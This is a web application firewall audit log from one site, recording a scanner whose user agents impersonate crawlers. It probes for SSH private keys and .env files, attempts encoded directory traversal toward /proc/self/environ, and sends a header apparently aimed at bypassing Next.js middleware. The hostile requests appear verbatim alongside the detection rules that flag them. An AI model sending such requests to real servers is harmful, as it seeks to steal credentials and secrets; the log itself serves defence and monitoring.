Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/id_dsa"] [unique_id "aqaoHGM7dE9KgIIOpQiBuAAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306908378158 212909 (- - -)
Stopwatch2: 1789306908378158 212909; combined=34443, p1=310, p2=34064, p3=0, p4=0, p5=69, sr=130, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c42ce556-Z--

--42b01727-A--
[13/Sep/2026:16:41:49.005036 +0300] aqaoHGM7dE9KgIIOpQiBuQAAANg 34.182.226.0 36878 127.0.0.1 7081
--42b01727-B--
GET /id_rsa HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--42b01727-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--42b01727-H--
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/id_rsa"] [unique_id "aqaoHGM7dE9KgIIOpQiBuQAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/id_rsa"] [unique_id "aqaoHGM7dE9KgIIOpQiBuQAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306908885213 119879 (- - -)
Stopwatch2: 1789306908885213 119879; combined=32131, p1=298, p2=31765, p3=0, p4=0, p5=67, sr=119, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--42b01727-Z--

--18f9a70a-A--
[13/Sep/2026:16:41:50.540012 +0300] aqaoHmM7dE9KgIIOpQiBuwAAAMY 34.182.226.0 36894 127.0.0.1 7081
--18f9a70a-B--
GET /.ssh/known_hosts HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--18f9a70a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--18f9a70a-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/known_hosts||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/known_hosts"] [unique_id "aqaoHmM7dE9KgIIOpQiBuwAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/known_hosts||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/known_hosts"] [unique_id "aqaoHmM7dE9KgIIOpQiBuwAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306910207908 332223 (- - -)
Stopwatch2: 1789306910207908 332223; combined=45448, p1=353, p2=45029, p3=0, p4=0, p5=65, sr=168, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--18f9a70a-Z--

--9672c46c-A--
[13/Sep/2026:16:41:50.545832 +0300] aqaoHkwu1RSkptiiNIX@yQAAAIs 34.182.226.0 36924 127.0.0.1 7081
--9672c46c-B--
GET /id_dsa HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--9672c46c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--9672c46c-H--
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/id_dsa"] [unique_id "aqaoHkwu1RSkptiiNIX@yQAAAIs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/id_dsa"] [unique_id "aqaoHkwu1RSkptiiNIX@yQAAAIs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306910340221 205668 (- - -)
Stopwatch2: 1789306910340221 205668; combined=35257, p1=236, p2=34919, p3=0, p4=0, p5=102, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9672c46c-Z--

--4d7d3a10-A--
[13/Sep/2026:16:41:54.245948 +0300] aqaoImM7dE9KgIIOpQiB0AAAANg 34.182.226.0 37222 127.0.0.1 7081
--4d7d3a10-B--
GET /@fs/app/.env?raw?? HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--4d7d3a10-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4d7d3a10-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/@fs/app/.env"] [unique_id "aqaoImM7dE9KgIIOpQiB0AAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306914117454 128580 (- - -)
Stopwatch2: 1789306914117454 128580; combined=5363, p1=312, p2=4952, p3=0, p4=0, p5=97, sr=112, sw=2, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4d7d3a10-Z--

--030f6a57-A--
[13/Sep/2026:16:41:54.634159 +0300] aqaoIkwu1RSkptiiNIX@0wAAAJM 34.182.226.0 37294 127.0.0.1 7081
--030f6a57-B--
GET /@fs/src/.env?raw?? HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--030f6a57-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--030f6a57-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/@fs/src/.env"] [unique_id "aqaoIkwu1RSkptiiNIX@0wAAAJM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306914443987 190235 (- - -)
Stopwatch2: 1789306914443987 190235; combined=5335, p1=343, p2=4929, p3=0, p4=0, p5=63, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--030f6a57-Z--

--dd31b161-A--
[13/Sep/2026:16:41:54.762728 +0300] aqaoIkwu1RSkptiiNIX@1QAAAJc 34.182.226.0 37316 127.0.0.1 7081
--dd31b161-B--
GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--dd31b161-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--dd31b161-E--

--dd31b161-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "aqaoIkwu1RSkptiiNIX@1QAAAJc"]
Stopwatch: 1789306914757702 5118 (- - -)
Stopwatch2: 1789306914757702 5118; combined=3538, p1=229, p2=3184, p3=75, p4=10, p5=40, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dd31b161-Z--

--4206334a-A--
[13/Sep/2026:16:41:54.859905 +0300] aqaoImM7dE9KgIIOpQiB1QAAANE 34.182.226.0 37296 127.0.0.1 7081
--4206334a-B--
GET /@fs/../.env?raw?? HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--4206334a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4206334a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.env"] [unique_id "aqaoImM7dE9KgIIOpQiB1QAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306914706713 153279 (- - -)
Stopwatch2: 1789306914706713 153279; combined=3891, p1=269, p2=3538, p3=0, p4=0, p5=83, sr=111, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4206334a-Z--

--5503913d-A--
[13/Sep/2026:16:41:55.128575 +0300] aqaoI2M7dE9KgIIOpQiB1gAAANU 34.182.226.0 37318 127.0.0.1 7081
--5503913d-B--
GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw?? HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--5503913d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5503913d-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ?raw??||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:raw??=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ?raw??||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "singlemaltcommunity.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "aqaoI2M7dE9KgIIOpQiB1gAAANU"]
Action: Intercepted (phase 2)
Stopwatch: 1789306915123048 5626 (- - -)
Stopwatch2: 1789306915123048 5626; combined=3773, p1=316, p2=3183, p3=0, p4=0, p5=273, sr=153, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5503913d-Z--

--2ca3ec66-A--
[13/Sep/2026:16:41:55.366032 +0300] aqaoI0wu1RSkptiiNIX@1gAAAIQ 34.182.226.0 37324 127.0.0.1 7081
--2ca3ec66-B--
GET /_nuxt/../.env HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2ca3ec66-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2ca3ec66-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.env"] [unique_id "aqaoI0wu1RSkptiiNIX@1gAAAIQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306915272521 93592 (- - -)
Stopwatch2: 1789306915272521 93592; combined=5394, p1=302, p2=5023, p3=0, p4=0, p5=68, sr=129, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2ca3ec66-Z--

--e732387d-A--
[13/Sep/2026:16:41:55.455953 +0300] aqaoI0wu1RSkptiiNIX@1wAAAI8 34.182.226.0 37334 127.0.0.1 7081
--e732387d-B--
GET /static../.env HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e732387d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e732387d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/static../.env"] [unique_id "aqaoI0wu1RSkptiiNIX@1wAAAI8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306915346312 109737 (- - -)
Stopwatch2: 1789306915346312 109737; combined=5406, p1=291, p2=5050, p3=0, p4=0, p5=64, sr=102, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e732387d-Z--

--db20e32a-A--
[13/Sep/2026:16:41:55.624464 +0300] aqaoI2M7dE9KgIIOpQiB1wAAANA 34.182.226.0 37348 127.0.0.1 7081
--db20e32a-B--
GET /media../.env HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--db20e32a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--db20e32a-H--
